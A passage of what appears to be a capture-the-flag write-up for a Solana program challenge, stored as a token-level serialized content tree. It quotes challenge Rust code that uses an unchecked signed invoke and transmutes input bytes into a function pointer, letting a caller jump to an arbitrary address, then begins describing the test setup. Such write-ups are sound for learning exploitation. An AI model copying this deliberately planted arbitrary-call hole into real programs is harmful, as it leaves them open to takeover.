data",{"type":23,"tag":504,"props":40030,"children":40031},{"style":598},[40032],{"type":28,"value":3472},{"type":23,"tag":504,"props":40034,"children":40035},{"style":529},[40036],{"type":28,"value":14084},{"type":23,"tag":504,"props":40038,"children":40039},{"style":598},[40040],{"type":28,"value":320},{"type":23,"tag":504,"props":40042,"children":40043},{"style":517},[40044],{"type":28,"value":25142},{"type":23,"tag":504,"props":40046,"children":40047},{"style":523},[40048],{"type":28,"value":12860},{"type":23,"tag":504,"props":40050,"children":40051},{"style":598},[40052],{"type":28,"value":320},{"type":23,"tag":504,"props":40054,"children":40055},{"style":517},[40056],{"type":28,"value":2642},{"type":23,"tag":504,"props":40058,"children":40059},{"style":523},[40060],{"type":28,"value":2467},{"type":23,"tag":504,"props":40062,"children":40063},{"class":506,"line":736},[40064,40069,40073,40077],{"type":23,"tag":504,"props":40065,"children":40066},{"style":529},[40067],{"type":28,"value":40068},"        accounts",{"type":23,"tag":504,"props":40070,"children":40071},{"style":598},[40072],{"type":28,"value":3472},{"type":23,"tag":504,"props":40074,"children":40075},{"style":517},[40076],{"type":28,"value":2706},{"type":23,"tag":504,"props":40078,"children":40079},{"style":523},[40080],{"type":28,"value":40081},"[]\n",{"type":23,"tag":504,"props":40083,"children":40084},{"class":506,"line":785},[40085],{"type":23,"tag":504,"props":40086,"children":40087},{"style":523},[40088],{"type":28,"value":37973},{"type":23,"tag":504,"props":40090,"children":40091},{"class":506,"line":813},[40092],{"type":23,"tag":504,"props":40093,"children":40094},{"emptyLinePlaceholder":16},[40095],{"type":28,"value":1038},{"type":23,"tag":504,"props":40097,"children":40098},{"class":506,"line":851},[40099,40104],{"type":23,"tag":504,"props":40100,"children":40101},{"style":517},[40102],{"type":28,"value":40103},"    invoke_signed_unchecked",{"type":23,"tag":504,"props":40105,"children":40106},{"style":523},[40107],{"type":28,"value":2439},{"type":23,"tag":504,"props":40109,"children":40110},{"class":506,"line":869},[40111,40115,40120],{"type":23,"tag":504,"props":40112,"children":40113},{"style":598},[40114],{"type":28,"value":2447},{"type":23,"tag":504,"props":40116,"children":40117},{"style":529},[40118],{"type":28,"value":40119},"ix",{"type":23,"tag":504,"props":40121,"children":40122},{"style":523},[40123],{"type":28,"value":2484},{"type":23,"tag":504,"props":40125,"children":40126},{"class":506,"line":878},[40127,40131],{"type":23,"tag":504,"props":40128,"children":40129},{"style":598},[40130],{"type":28,"value":2447},{"type":23,"tag":504,"props":40132,"children":40133},{"style":523},[40134],{"type":28,"value":40135},"[],\n",{"type":23,"tag":504,"props":40137,"children":40138},{"class":506,"line":1221},[40139,40143],{"type":23,"tag":504,"props":40140,"children":40141},{"style":598},[40142],{"type":28,"value":2447},{"type":23,"tag":504,"props":40144,"children":40145},{"style":523},[40146],{"type":28,"value":40135},{"type":23,"tag":504,"props":40148,"children":40149},{"class":506,"line":1276},[40150,40154,40158,40162],{"type":23,"tag":504,"props":40151,"children":40152},{"style":523},[40153],{"type":28,"value":2633},{"type":23,"tag":504,"props":40155,"children":40156},{"style":598},[40157],{"type":28,"value":320},{"type":23,"tag":504,"props":40159,"children":40160},{"style":517},[40161],{"type":28,"value":2642},{"type":23,"tag":504,"props":40163,"children":40164},{"style":523},[40165],{"type":28,"value":2647},{"type":23,"tag":504,"props":40167,"children":40168},{"class":506,"line":1285},[40169],{"type":23,"tag":504,"props":40170,"children":40171},{"style":523},[40172],{"type":28,"value":884},{"type":23,"tag":41,"props":40174,"children":40175},{"start":555},[40176],{"type":23,"tag":45,"props":40177,"children":40178},{},[40179,40181,40187],{"type":28,"value":40180},"Finally, if ",{"type":23,"tag":56,"props":40182,"children":40184},{"className":40183},[],[40185],{"type":28,"value":40186},"data[0]",{"type":28,"value":40188}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":494,"props":40190,"children":40192},{"className":1957,"code":40191,"language":1956,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[40193],{"type":23,"tag":56,"props":40194,"children":40195},{"__ignoreMap":7},[40196,40203,40251,40262,40382,40497,40516,40523,40558,40565,40684,40799,40818,40825],{"type":23,"tag":504,"props":40197,"children":40198},{"class":506,"line":507},[40199],{"type":23,"tag":504,"props":40200,"children":40201},{"style":523},[40202],{"type":28,"value":39553},{"type":23,"tag":504,"props":40204,"children":40205},{"class":506,"line":540},[40206,40210,40214,40219,40223,40227,40231,40235,40239,40243,40247],{"type":23,"tag":504,"props":40207,"children":40208},{"style":511},[40209],{"type":28,"value":12671},{"type":23,"tag":504,"props":40211,"children":40212},{"style":511},[40213],{"type":28,"value":12676},{"type":23,"tag":504,"props":40215,"children":40216},{"style":517},[40217],{"type":28,"value":40218}," process",{"type":23,"tag":504,"props":40220,"children":40221},{"style":523},[40222],{"type":28,"value":526},{"type":23,"tag":504,"props":40224,"children":40225},{"style":511},[40226],{"type":28,"value":2701},{"type":23,"tag":504,"props":40228,"children":40229},{"style":529},[40230],{"type":28,"value":14084},{"type":23,"tag":504,"props":40232,"children":40233},{"style":598},[40234],{"type":28,"value":3472},{"type":23,"tag":504,"props":40236,"children":40237},{"style":598},[40238],{"type":28,"value":6125},{"type":23,"tag":504,"props":40240,"children":40241},{"style":523},[40242],{"type":28,"value":2711},{"type":23,"tag":504,"props":40244,"children":40245},{"style":1012},[40246],{"type":28,"value":2397},{"type":23,"tag":504,"props":40248,"children":40249},{"style":523},[40250],{"type":28,"value":39598},{"type":23,"tag":504,"props":40252,"children":40253},{"class":506,"line":555},[40254,40258],{"type":23,"tag":504,"props":40255,"children":40256},{"style":511},[40257],{"type":28,"value":12814},{"type":23,"tag":504,"props":40259,"children":40260},{"style":523},[40261],{"type":28,"value":552},{"type":23,"tag":504,"props":40263,"children":40264},{"class":506,"line":633},[40265,40269,40273,40277,40281,40285,40289,40293,40297,40301,40305,40309,40313,40317,40321,40325,40329,40333,40338,40342,40346,40350,40354,40358,40362,40366,40370,40374,40378],{"type":23,"tag":504,"props":40266,"children":40267},{"style":511},[40268],{"type":28,"value":2041},{"type":23,"tag":504,"props":40270,"children":40271},{"style":529},[40272],{"type":28,"value":12838},{"type":23,"tag":504,"props":40274,"children":40275},{"style":598},[40276],{"type":28,"value":648},{"type":23,"tag":504,"props":40278,"children":40279},{"style":523},[40280],{"type":28,"value":39629},{"type":23,"tag":504,"props":40282,"children":40283},{"style":598},[40284],{"type":28,"value":2457},{"type":23,"tag":504,"props":40286,"children":40287},{"style":523},[40288],{"type":28,"value":39638},{"type":23,"tag":504,"props":40290,"children":40291},{"style":598},[40292],{"type":28,"value":2457},{"type":23,"tag":504,"props":40294,"children":40295},{"style":517},[40296],{"type":28,"value":39647},{"type":23,"tag":504,"props":40298,"children":40299},{"style":598},[40300],{"type":28,"value":2457},{"type":23,"tag":504,"props":40302,"children":40303},{"style":523},[40304],{"type":28,"value":39656},{"type":23,"tag":504,"props":40306,"children":40307},{"style":1012},[40308],{"type":28,"value":2397},{"type":23,"tag":504,"props":40310,"children":40311},{"style":523},[40312],{"type":28,"value":16206},{"type":23,"tag":504,"props":40314,"children":40315},{"style":1440},[40316],{"type":28,"value":3055},{"type":23,"tag":504,"props":40318,"children":40319},{"style":523},[40320],{"type":28,"value":22041},{"type":23,"tag":504,"props":40322,"children":40323},{"style":511},[40324],{"type":28,"value":19248},{"type":23,"tag":504,"props":40326,"children":40327},{"style":523},[40328],{"type":28,"value":526},{"type":23,"tag":504,"props":40330,"children":40331},{"style":1012},[40332],{"type":28,"value":7025},{"type":23,"tag":504,"props":40334,"children":40335},{"style":523},[40336],{"type":28,"value":40337},")>(",{"type":23,"tag":504,"props":40339,"children":40340},{"style":529},[40341],{"type":28,"value":2679},{"type":23,"tag":504,"props":40343,"children":40344},{"style":523},[40345],{"type":28,"value":2711},{"type":23,"tag":504,"props":40347,"children":40348},{"style":598},[40349],{"type":28,"value":2028},{"type":23,"tag":504,"props":40351,"children":40352},{"style":1440},[40353],{"type":28,"value":3055},{"type":23,"tag":504,"props":40355,"children":40356},{"style":523},[40357],{"type":28,"value":14391},{"type":23,"tag":504,"props":40359,"children":40360},{"style":598},[40361],{"type":28,"value":320},{"type":23,"tag":504,"props":40363,"children":40364},{"style":517},[40365],{"type":28,"value":25142},{"type":23,"tag":504,"props":40367,"children":40368},{"style":523},[40369],{"type":28,"value":12860},{"type":23,"tag":504,"props":40371,"children":40372},{"style":598},[40373],{"type":28,"value":320},{"type":23,"tag":504,"props":40375,"children":40376},{"style":517},[40377],{"type":28,"value":2642},{"type":23,"tag":504,"props":40379,"children":40380},{"style":523},[40381],{"type":28,"value":14405},{"type":23,"tag":504,"props":40383,"children":40384},{"class":506,"line":687},[40385,40389,40393,40397,40401,40405,40409,40413,40417,40421,40425,40429,40433,40437,40441,40445,40449,40453,40457,40461,40465,40469,40473,40477,40481,40485,40489,40493],{"type":23,"tag":504,"props":40386,"children":40387},{"style":511},[40388],{"type":28,"value":2041},{"type":23,"tag":504,"props":40390,"children":40391},{"style":529},[40392],{"type":28,"value":39744},{"type":23,"tag":504,"props":40394,"children":40395},{"style":598},[40396],{"type":28,"value":648},{"type":23,"tag":504,"props":40398,"children":40399},{"style":523},[40400],{"type":28,"value":39629},{"type":23,"tag":504,"props":40402,"children":40403},{"style":598},[40404],{"type":28,"value":2457},{"type":23,"tag":504,"props":40406,"children":40407},{"style":523},[40408],{"type":28,"value":39638},{"type":23,"tag":504,"props":40410,"children":40411},{"style":598},[40412],{"type":28,"value":2457},{"type":23,"tag":504,"props":40414,"children":40415},{"style":517},[40416],{"type":28,"value":39647},{"type":23,"tag":504,"props":40418,"children":40419},{"style":598},[40420],{"type":28,"value":2457},{"type":23,"tag":504,"props":40422,"children":40423},{"style":523},[40424],{"type":28,"value":39656},{"type":23,"tag":504,"props":40426,"children":40427},{"style":1012},[40428],{"type":28,"value":2397},{"type":23,"tag":504,"props":40430,"children":40431},{"style":523},[40432],{"type":28,"value":16206},{"type":23,"tag":504,"props":40434,"children":40435},{"style":1440},[40436],{"type":28,"value":3055},{"type":23,"tag":504,"props":40438,"children":40439},{"style":523},[40440],{"type":28,"value":22041},{"type":23,"tag":504,"props":40442,"children":40443},{"style":1012},[40444],{"type":28,"value":7025},{"type":23,"tag":504,"props":40446,"children":40447},{"style":523},[40448],{"type":28,"value":6594},{"type":23,"tag":504,"props":40450,"children":40451},{"style":529},[40452],{"type":28,"value":2679},{"type":23,"tag":504,"props":40454,"children":40455},{"style":523},[40456],{"type":28,"value":2711},{"type":23,"tag":504,"props":40458,"children":40459},{"style":1440},[40460],{"type":28,"value":3055},{"type":23,"tag":504,"props":40462,"children":40463},{"style":598},[40464],{"type":28,"value":2028},{"type":23,"tag":504,"props":40466,"children":40467},{"style":1440},[40468],{"type":28,"value":39821},{"type":23,"tag":504,"props":40470,"children":40471},{"style":523},[40472],{"type":28,"value":14391},{"type":23,"tag":504,"props":40474,"children":40475},{"style":598},[40476],{"type":28,"value":320},{"type":23,"tag":504,"props":40478,"children":40479},{"style":517},[40480],{"type":28,"value":25142},{"type":23,"tag":504,"props":40482,"children":40483},{"style":523},[40484],{"type":28,"value":12860},{"type":23,"tag":504,"props":40486,"children":40487},{"style":598},[40488],{"type":28,"value":320},{"type":23,"tag":504,"props":40490,"children":40491},{"style":517},[40492],{"type":28,"value":2642},{"type":23,"tag":504,"props":40494,"children":40495},{"style":523},[40496],{"type":28,"value":14405},{"type":23,"tag":504,"props":40498,"children":40499},{"class":506,"line":736},[40500,40504,40508,40512],{"type":23,"tag":504,"props":40501,"children":40502},{"style":517},[40503],{"type":28,"value":39857},{"type":23,"tag":504,"props":40505,"children":40506},{"style":523},[40507],{"type":28,"value":526},{"type":23,"tag":504,"props":40509,"children":40510},{"style":529},[40511],{"type":28,"value":11613},{"type":23,"tag":504,"props":40513,"children":40514},{"style":523},[40515],{"type":28,"value":630},{"type":23,"tag":504,"props":40517,"children":40518},{"class":506,"line":785},[40519],{"type":23,"tag":504,"props":40520,"children":40521},{"emptyLinePlaceholder":16},[40522],{"type":28,"value":1038},{"type":23,"tag":504,"props":40524,"children":40525},{"class":506,"line":813},[40526,40530,40534,40538,40542,40546,40550,40554],{"type":23,"tag":504,"props":40527,"children":40528},{"style":529},[40529],{"type":28,"value":40028},{"type":23,"tag":504,"props":40531,"children":40532},{"style":598},[40533],{"type":28,"value":648},{"type":23,"tag":504,"props":40535,"children":40536},{"style":598},[40537],{"type":28,"value":6125},{"type":23,"tag":504,"props":40539,"children":40540},{"style":529},[40541],{"type":28,"value":2679},{"type":23,"tag":504,"props":40543,"children":40544},{"style":523},[40545],{"type":28,"value":2711},{"type":23,"tag":504,"props":40547,"children":40548},{"style":1440},[40549],{"type":28,"value":39821},{"type":23,"tag":504,"props":40551,"children":40552},{"style":598},[40553],{"type":28,"value":2028},{"type":23,"tag":504,"props":40555,"children":40556},{"style":523},[40557],{"type":28,"value":30552},{"type":23,"tag":504,"props":40559,"children":40560},{"class":506,"line":851},[40561],{"type":23,"tag":504,"props":40562,"children":40563},{"emptyLinePlaceholder":16},[40564],{"type":28,"value":1038},{"type":23,"tag":504,"props":40566,"children":40567},{"class":506,"line":869},[40568,40572,40576,40580,40584,40588,40592,40596,40600,40604,40608,40612,40616,40620,40624,40628,40632,40636,40640,40644,40648,40652,40656,40660,40664,40668,40672,40676,40680],{"type":23,"tag":504,"props":40569,"children":40570},{"style":511},[40571],{"type":28,"value":2041},{"type":23,"tag":504,"props":40573,"children":40574},{"style":529},[40575],{"type":28,"value":12838},{"type":23,"tag":504,"props":40577,"children":40578},{"style":598},[40579],{"type":28,"value":648},{"type":23,"tag":504,"props":40581,"children":40582},{"style":523},[40583],{"type":28,"value":39629},{"type":23,"tag":504,"props":40585,"children":40586},{"style":598},[40587],{"type":28,"value":2457},{"type":23,"tag":504,"props":40589,"children":40590},{"style":523},[40591],{"type":28,"value":39638},{"type":23,"tag":504,"props":40593,"children":40594},{"style":598},[40595],{"type":28,"value":2457},{"type":23,"tag":504,"props":40597,"children":40598},{"style":517},[40599],{"type":28,"value":39647},{"type":23,"tag":504,"props":40601,"children":40602},{"style":598},[40603],{"type":28,"value":2457},{"type":23,"tag":504,"props":40605,"children":40606},{"style":523},[40607],{"type":28,"value":39656},{"type":23,"tag":504,"props":40609,"children":40610},{"style":1012},[40611],{"type":28,"value":2397},{"type":23,"tag":504,"props":40613,"children":40614},{"style":523},[40615],{"type":28,"value":16206},{"type":23,"tag":504,"props":40617,"children":40618},{"style":1440},[40619],{"type":28,"value":3055},{"type":23,"tag":504,"props":40621,"children":40622},{"style":523},[40623],{"type":28,"value":22041},{"type":23,"tag":504,"props":40625,"children":40626},{"style":511},[40627],{"type":28,"value":19248},{"type":23,"tag":504,"props":40629,"children":40630},{"style":523},[40631],{"type":28,"value":526},{"type":23,"tag":504,"props":40633,"children":40634},{"style":1012},[40635],{"type":28,"value":7025},{"type":23,"tag":504,"props":40637,"children":40638},{"style":523},[40639],{"type":28,"value":40337},{"type":23,"tag":504,"props":40641,"children":40642},{"style":529},[40643],{"type":28,"value":2679},{"type":23,"tag":504,"props":40645,"children":40646},{"style":523},[40647],{"type":28,"value":2711},{"type":23,"tag":504,"props":40649,"children":40650},{"style":598},[40651],{"type":28,"value":2028},{"type":23,"tag":504,"props":40653,"children":40654},{"style":1440},[40655],{"type":28,"value":3055},{"type":23,"tag":504,"props":40657,"children":40658},{"style":523},[40659],{"type":28,"value":14391},{"type":23,"tag":504,"props":40661,"children":40662},{"style":598},[40663],{"type":28,"value":320},{"type":23,"tag":504,"props":40665,"children":40666},{"style":517},[40667],{"type":28,"value":25142},{"type":23,"tag":504,"props":40669,"children":40670},{"style":523},[40671],{"type":28,"value":12860},{"type":23,"tag":504,"props":40673,"children":40674},{"style":598},[40675],{"type":28,"value":320},{"type":23,"tag":504,"props":40677,"children":40678},{"style":517},[40679],{"type":28,"value":2642},{"type":23,"tag":504,"props":40681,"children":40682},{"style":523},[40683],{"type":28,"value":14405},{"type":23,"tag":504,"props":40685,"children":40686},{"class":506,"line":878},[40687,40691,40695,40699,40703,40707,40711,40715,40719,40723,40727,40731,40735,40739,40743,40747,40751,40755,40759,40763,40767,40771,40775,40779,40783,40787,40791,40795],{"type":23,"tag":504,"props":40688,"children":40689},{"style":511},[40690],{"type":28,"value":2041},{"type":23,"tag":504,"props":40692,"children":40693},{"style":529},[40694],{"type":28,"value":39744},{"type":23,"tag":504,"props":40696,"children":40697},{"style":598},[40698],{"type":28,"value":648},{"type":23,"tag":504,"props":40700,"children":40701},{"style":523},[40702],{"type":28,"value":39629},{"type":23,"tag":504,"props":40704,"children":40705},{"style":598},[40706],{"type":28,"value":2457},{"type":23,"tag":504,"props":40708,"children":40709},{"style":523},[40710],{"type":28,"value":39638},{"type":23,"tag":504,"props":40712,"children":40713},{"style":598},[40714],{"type":28,"value":2457},{"type":23,"tag":504,"props":40716,"children":40717},{"style":517},[40718],{"type":28,"value":39647},{"type":23,"tag":504,"props":40720,"children":40721},{"style":598},[40722],{"type":28,"value":2457},{"type":23,"tag":504,"props":40724,"children":40725},{"style":523},[40726],{"type":28,"value":39656},{"type":23,"tag":504,"props":40728,"children":40729},{"style":1012},[40730],{"type":28,"value":2397},{"type":23,"tag":504,"props":40732,"children":40733},{"style":523},[40734],{"type":28,"value":16206},{"type":23,"tag":504,"props":40736,"children":40737},{"style":1440},[40738],{"type":28,"value":3055},{"type":23,"tag":504,"props":40740,"children":40741},{"style":523},[40742],{"type":28,"value":22041},{"type":23,"tag":504,"props":40744,"children":40745},{"style":1012},[40746],{"type":28,"value":7025},{"type":23,"tag":504,"props":40748,"children":40749},{"style":523},[40750],{"type":28,"value":6594},{"type":23,"tag":504,"props":40752,"children":40753},{"style":529},[40754],{"type":28,"value":2679},{"type":23,"tag":504,"props":40756,"children":40757},{"style":523},[40758],{"type":28,"value":2711},{"type":23,"tag":504,"props":40760,"children":40761},{"style":1440},[40762],{"type":28,"value":3055},{"type":23,"tag":504,"props":40764,"children":40765},{"style":598},[40766],{"type":28,"value":2028},{"type":23,"tag":504,"props":40768,"children":40769},{"style":1440},[40770],{"type":28,"value":39821},{"type":23,"tag":504,"props":40772,"children":40773},{"style":523},[40774],{"type":28,"value":14391},{"type":23,"tag":504,"props":40776,"children":40777},{"style":598},[40778],{"type":28,"value":320},{"type":23,"tag":504,"props":40780,"children":40781},{"style":517},[40782],{"type":28,"value":25142},{"type":23,"tag":504,"props":40784,"children":40785},{"style":523},[40786],{"type":28,"value":12860},{"type":23,"tag":504,"props":40788,"children":40789},{"style":598},[40790],{"type":28,"value":320},{"type":23,"tag":504,"props":40792,"children":40793},{"style":517},[40794],{"type":28,"value":2642},{"type":23,"tag":504,"props":40796,"children":40797},{"style":523},[40798],{"type":28,"value":14405},{"type":23,"tag":504,"props":40800,"children":40801},{"class":506,"line":1221},[40802,40806,40810,40814],{"type":23,"tag":504,"props":40803,"children":40804},{"style":517},[40805],{"type":28,"value":39857},{"type":23,"tag":504,"props":40807,"children":40808},{"style":523},[40809],{"type":28,"value":526},{"type":23,"tag":504,"props":40811,"children":40812},{"style":529},[40813],{"type":28,"value":11613},{"type":23,"tag":504,"props":40815,"children":40816},{"style":523},[40817],{"type":28,"value":630},{"type":23,"tag":504,"props":40819,"children":40820},{"class":506,"line":1276},[40821],{"type":23,"tag":504,"props":40822,"children":40823},{"style":523},[40824],{"type":28,"value":875},{"type":23,"tag":504,"props":40826,"children":40827},{"class":506,"line":1285},[40828],{"type":23,"tag":504,"props":40829,"children":40830},{"style":523},[40831],{"type":28,"value":884},{"type":23,"tag":82,"props":40833,"children":40835},{"id":40834},"test-environment",[40836],{"type":28,"value":40837},"Test Environment",{"type":23,"tag":24,"props":40839,"children":40840},{},[40841],{"type":28,"value":40842},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":23,"tag":24,"props":40844,"children":40845},{},[40846,40848,40854],{"type":28,"value":40847},"When you connect to the server through a tcp connection, ",{"type":23,"tag":56,"props":40849,"children":40851},{"className":40850},[],[40852],{"type":28,"value":40853},"framework/src/main.rs::handle_connection",{"type":28,"value":40855}," gets executed, which does the following:",{"type":23,"tag":41,"props":40857,"children":40858},{},[40859],{"type":23,"tag":45,"props":40860,"children":40861},{},[40862],{"type":28,"value":40863},"Creates a new Solana local node",{"type":23,"tag":494,"props":40865,"children":40867},{"className":1957,"code":40866,"language":1956,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[40868],{"type":23,"tag":56,"props":40869,"children":40870},{"__ignoreMap":7},[40871,40952,41028],{"type":23,"tag":504,"props":40872,"children":40873},{"class":506,"line":507},[40874,40878,40882,40887,40891,40896,40900,40905,40909,40914,40918,40923,40927,40931,40935,40940,40944,40948],{"type":23,"tag":504,"props":40875,"children":40876},{"style":511},[40877],{"type":28,"value":10769},{"type":23,"tag":504,"props":40879,"children":40880},{"style":511},[40881],{"type":28,"value":1982},{"type":23,"tag":504,"props":40883,"children":40884},{"style":529},[40885],{"type":28,"value":40886}," builder",{"type":23,"tag":504,"props":40888,"children":40889},{"style":598},[40890],{"type":28,"value":648},{"type":23,"tag":504,"props":40892,"children":40893},{"style":1012},[40894],{"type":28,"value":40895}," ChallengeBuilder",{"type":23,"tag":504,"props":40897,"children":40898},{"style":598},[40899],{"type":28,"value":2457},{"type":23,"tag":504,"props":40901,"children":40902},{"style":517},[40903],{"type":28,"value":40904},"try_from",{"type":23,"tag":504,"props":40906,"children":40907},{"style":523},[40908],{"type":28,"value":526},{"type":23,"tag":504,"props":40910,"children":40911},{"style":529},[40912],{"type":28,"value":40913},"socket",{"type":23,"tag":504,"props":40915,"children":40916},{"style":598},[40917],{"type":28,"value":320},{"type":23,"tag":504,"props":40919,"children":40920},{"style":517},[40921],{"type":28,"value":40922},"try_clone",{"type":23,"tag":504,"props":40924,"children":40925},{"style":523},[40926],{"type":28,"value":12860},{"type":23,"tag":504,"props":40928,"children":40929},{"style":598},[40930],{"type":28,"value":320},{"type":23,"tag":504,"props":40932,"children":40933},{"style":517},[40934],{"type":28,"value":2642},{"type":23,"tag":504,"props":40936,"children":40937},{"style":523},[40938],{"type":28,"value":40939},"())",{"type":23,"tag":504,"props":40941,"children":40942},{"style":598},[40943],{"type":28,"value":320},{"type":23,"tag":504,"props":40945,"children":40946},{"style":517},[40947],{"type":28,"value":2642},{"type":23,"tag":504,"props":40949,"children":40950},{"style":523},[40951],{"type":28,"value":2647},{"type":23,"tag":504,"props":40953,"children":40954},{"class":506,"line":540},[40955,40960,40964,40969,40973,40978,40982,40987,40991,40996,41001,41005,41010,41014,41019,41023],{"type":23,"tag":504,"props":40956,"children":40957},{"style":517},[40958],{"type":28,"value":40959},"assert!",{"type":23,"tag":504,"props":40961,"children":40962},{"style":523},[40963],{"type":28,"value":526},{"type":23,"tag":504,"props":40965,"children":40966},{"style":529},[40967],{"type":28,"value":40968},"builder",{"type":23,"tag":504,"props":40970,"children":40971},{"style":598},[40972],{"type":28,"value":320},{"type":23,"tag":504,"props":40974,"children":40975},{"style":517},[40976],{"type":28,"value":40977},"add_program",{"type":23,"tag":504,"props":40979,"children":40980},{"style":523},[40981],{"type":28,"value":526},{"type":23,"tag":504,"props":40983,"children":40984},{"style":622},[40985],{"type":28,"value":40986},"\"/path/to/chall.so\"",{"type":23,"tag":504,"props":40988,"children":40989},{"style":523},[40990],{"type":28,"value":576},{"type":23,"tag":504,"props":40992,"children":40993},{"style":1012},[40994],{"type":28,"value":40995},"Some",{"type":23,"tag":504,"props":40997,"children":40998},{"style":523},[40999],{"type":28,"value":41000},"(chall",{"type":23,"tag":504,"props":41002,"children":41003},{"style":598},[41004],{"type":28,"value":2457},{"type":23,"tag":504,"props":41006,"children":41007},{"style":523},[41008],{"type":28,"value":41009},"ID)) ",{"type":23,"tag":504,"props":41011,"children":41012},{"style":598},[41013],{"type":28,"value":7559},{"type":23,"tag":504,"props":41015,"children":41016},{"style":523},[41017],{"type":28,"value":41018}," chall",{"type":23,"tag":504,"props":41020,"children":41021},{"style":598},[41022],{"type":28,"value":2457},{"type":23,"tag":504,"props":41024,"children":41025},{"style":523},[41026],{"type":28,"value":41027},"ID);\n",{"type":23,"tag":504,"props":41029,"children":41030},{"class":506,"line":555},[41031,41035,41039,41043,41047,41051,41055,41060,41064,41068,41072],{"type":23,"tag":504,"props":41032,"children":41033},{"style":511},[41034],{"type":28,"value":10769},{"type":23,"tag":504,"props":41036,"children":41037},{"style":511},[41038],{"type":28,"value":1982},{"type":23,"tag":504,"props":41040,"children":41041},{"style":529},[41042],{"type":28,"value":41018},{"type":23,"tag":504,"props":41044,"children":41045},{"style":598},[41046],{"type":28,"value":648},{"type":23,"tag":504,"props":41048,"children":41049},{"style":529},[41050],{"type":28,"value":40886},{"type":23,"tag":504,"props":41052,"children":41053},{"style":598},[41054],{"type":28,"value":320},{"type":23,"tag":504,"props":41056,"children":41057},{"style":517},[41058],{"type":28,"value":41059},"build",{"type":23,"tag":504,"props":41061,"children":41062},{"style":523},[41063],{"type":28,"value":12860},{"type":23,"tag":504,"props":41065,"children":41066},{"style":598},[41067],{"type":28,"value":320},{"type":23,"tag":504,"props":41069,"children":41070},{"style":544},[41071],{"type":28,"value":31893},{"type":23,"tag":504,"props":41073,"children":41074},{"style":523},[41075],{"type":28,"value":866},{"type":23,"tag":41,"props":41077,"children":41078},{"start":540},[41079],{"type":23,"tag":45,"props":41080,"children":41081},{},[41082],{"type":28,"value":41083},"Funds the user account with 100 SOL",{"type":23,"tag":494,"props":41085,"children":41087},{"className":1957,"code":41086,"language":1956,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[41088],{"type":23,"tag":56,"props":41089,"children":41090},{"__ignoreMap":7},[41091,41124,41156,41163,41205,41237,41244,41252,41316,41335,41342],{"type":23,"tag":504,"props":41092,"children":41093},{"class":506,"line":507},[41094,41098,41103,41107,41112,41116,41120],{"type":23,"tag":504,"props":41095,"children":41096},{"style":511},[41097],{"type":28,"value":10769},{"type":23,"tag":504,"props":41099,"children":41100},{"style":529},[41101],{"type":28,"value":41102}," user_keypair",{"type":23,"tag":504,"props":41104,"children":41105},{"style":598},[41106],{"type":28,"value":648},{"type":23,"tag":504,"props":41108,"children":41109},{"style":1012},[41110],{"type":28,"value":41111}," Keypair",{"type":23,"tag":504,"props":41113,"children":41114},{"style":598},[41115],{"type":28,"value":2457},{"type":23,"tag":504,"props":41117,"children":41118},{"style":517},[41119],{"type":28,"value":14102},{"type":23,"tag":504,"props":41121,"children":41122},{"style":523},[41123],{"type":28,"value":2647},{"type":23,"tag":504,"props":41125,"children":41126},{"class":506,"line":540},[41127,41131,41136,41140,41144,41148,41152],{"type":23,"tag":504,"props":41128,"children":41129},{"style":511},[41130],{"type":28,"value":10769},{"type":23,"tag":504,"props":41132,"children":41133},{"style":529},[41134],{"type":28,"value":41135}," user",{"type":23,"tag":504,"props":41137,"children":41138},{"style":598},[41139],{"type":28,"value":648},{"type":23,"tag":504,"props":41141,"children":41142},{"style":529},[41143],{"type":28,"value":41102},{"type":23,"tag":504,"props":41145,"children":41146},{"style":598},[41147],{"type":28,"value":320},{"type":23,"tag":504,"props":41149,"children":41150},{"style":517},[41151],{"type":28,"value":2521},{"type":23,"tag":504,"props":41153,"children":41154},{"style":523},[41155],{"type":28,"value":2647},{"type":23,"tag":504,"props":41157,"children":41158},{"class":506,"line":555},[41159],{"type":23,"tag":504,"props":41160,"children":41161},{"emptyLinePlaceholder":16},[41162],{"type":28,"value":1038},{"type":23,"tag":504,"props":41164,"children":41165},{"class":506,"line":633},[41166,41170,41175,41179,41183,41188,41192,41196,41200],{"type":23,"tag":504,"props":41167,"children":41168},{"style":511},[41169],{"type":28,"value":10769},{"type":23,"tag":504,"props":41171,"children":41172},{"style":529},[41173],{"type":28,"value":41174}," payer_keypair",{"type":23,"tag":504,"props":41176,"children":41177},{"style":598},[41178],{"type":28,"value":648},{"type":23,"tag":504,"props":41180,"children":41181},{"style":598},[41182],{"type":28,"value":6125},{"type":23,"tag":504,"props":41184,"children":41185},{"style":529},[41186],{"type":28,"value":41187},"chall",{"type":23,"tag":504,"props":41189,"children":41190},{"style":598},[41191],{"type":28,"value":320},{"type":23,"tag":504,"props":41193,"children":41194},{"style":523},[41195],{"type":28,"value":19262},{"type":23,"tag":504,"props":41197,"children":41198},{"style":598},[41199],{"type":28,"value":320},{"type":23,"tag":504,"props":41201,"children":41202},{"style":523},[41203],{"type":28,"value":41204},"payer;\n",{"type":23,"tag":504,"props":41206,"children":41207},{"class":506,"line":687},[41208,41212,41217,41221,41225,41229,41233],{"type":23,"tag":504,"props":41209,"children":41210},{"style":511},[41211],{"type":28,"value":10769},{"type":23,"tag":504,"props":41213,"children":41214},{"style":529},[41215],{"type":28,"value":41216}," 